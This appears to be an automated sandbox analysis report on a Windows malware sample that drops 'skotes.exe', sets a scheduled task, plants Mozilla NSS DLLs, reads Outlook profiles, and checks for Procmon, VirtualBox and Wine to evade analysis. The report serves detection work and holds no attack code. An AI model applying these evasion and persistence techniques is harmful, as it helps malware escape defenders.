Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2544 --field-trial-handle=2460,i,15555307753456093971,14081396310423305561,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2364 --field-trial-handle=2304,i,17772783766471260241,16238618650825771522,262144 /prefetch:3	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Documents\GCGHCBKFCF.exe "C:\Users\user\Documents\GCGHCBKFCF.exe"	Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Google Drive.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 5181952 > 1048576

Source: file.exe	Static PE information: Raw size of is bigger than: 0x100000 < 0x249000
Source: file.exe	Static PE information: Raw size of cmcjmvep is bigger than: 0x100000 < 0x2a4800

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2627816247.000000006F8CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2627816247.000000006F8CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.dd0000.0.unpack :EW;.rsrc:W;.idata :W;cmcjmvep:EW;nkslzviw:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;cmcjmvep:EW;nkslzviw:EW;.taggant:EW;
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Unpacked PE file: 14.2.GCGHCBKFCF.exe.a20000.0.unpack :EW;.rsrc:W;.idata :W;pehggevz:EW;hfkshdco:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;pehggevz:EW;hfkshdco:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 15.2.skotes.exe.570000.0.unpack :EW;.rsrc:W;.idata :W;pehggevz:EW;hfkshdco:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;pehggevz:EW;hfkshdco:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 16.2.skotes.exe.570000.0.unpack :EW;.rsrc:W;.idata :W;pehggevz:EW;hfkshdco:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;pehggevz:EW;hfkshdco:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 17.2.skotes.exe.570000.0.unpack :EW;.rsrc:W;.idata :W;pehggevz:EW;hfkshdco:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;pehggevz:EW;hfkshdco:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: GCGHCBKFCF.exe.0.dr	Static PE information: real checksum: 0x3123b1 should be: 0x30fb18
Source: skotes.exe.14.dr	Static PE information: real checksum: 0x3123b1 should be: 0x30fb18
Source: file.exe	Static PE information: real checksum: 0x4fcd71 should be: 0x4fc050
Source: random[1].exe.0.dr	Static PE information: real checksum: 0x3123b1 should be: 0x30fb18

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name: cmcjmvep
Source: file.exe	Static PE information: section name: nkslzviw
Source: file.exe	Static PE information: section name: .taggant
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: GCGHCBKFCF.exe.0.dr	Static PE information: section name:
Source: GCGHCBKFCF.exe.0.dr	Static PE information: section name: .idata
Source: GCGHCBKFCF.exe.0.dr	Static PE information: section name: pehggevz
Source: GCGHCBKFCF.exe.0.dr	Static PE information: section name: hfkshdco
Source: GCGHCBKFCF.exe.0.dr	Static PE information: section name: .taggant
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name: pehggevz
Source: random[1].exe.0.dr	Static PE information: section name: hfkshdco
Source: random[1].exe.0.dr	Static PE information: section name: .taggant
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: skotes.exe.14.dr	Static PE information: section name:
Source: skotes.exe.14.dr	Static PE information: section name: .idata
Source: skotes.exe.14.dr	Static PE information: section name: pehggevz
Source: skotes.exe.14.dr	Static PE information: section name: hfkshdco
Source: skotes.exe.14.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Code function: 14_2_00A3D91C push ecx; ret	14_2_00A3D92F
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Code function: 14_2_00A31359 push es; ret	14_2_00A3135A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_0058D91C push ecx; ret	15_2_0058D92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 16_2_0058D91C push ecx; ret	16_2_0058D92F

Source: GCGHCBKFCF.exe.0.dr	Static PE information: section name: entropy: 7.160207851869062
Source: random[1].exe.0.dr	Static PE information: section name: entropy: 7.160207851869062
Source: skotes.exe.14.dr	Static PE information: section name: entropy: 7.160207851869062

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\Documents\GCGHCBKFCF.exe

Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\Documents\GCGHCBKFCF.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\Documents\GCGHCBKFCF.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior

Malware Analysis System Evasion

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Evasive API call chain: GetPEB, DecisionNodes, ExitProcess

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
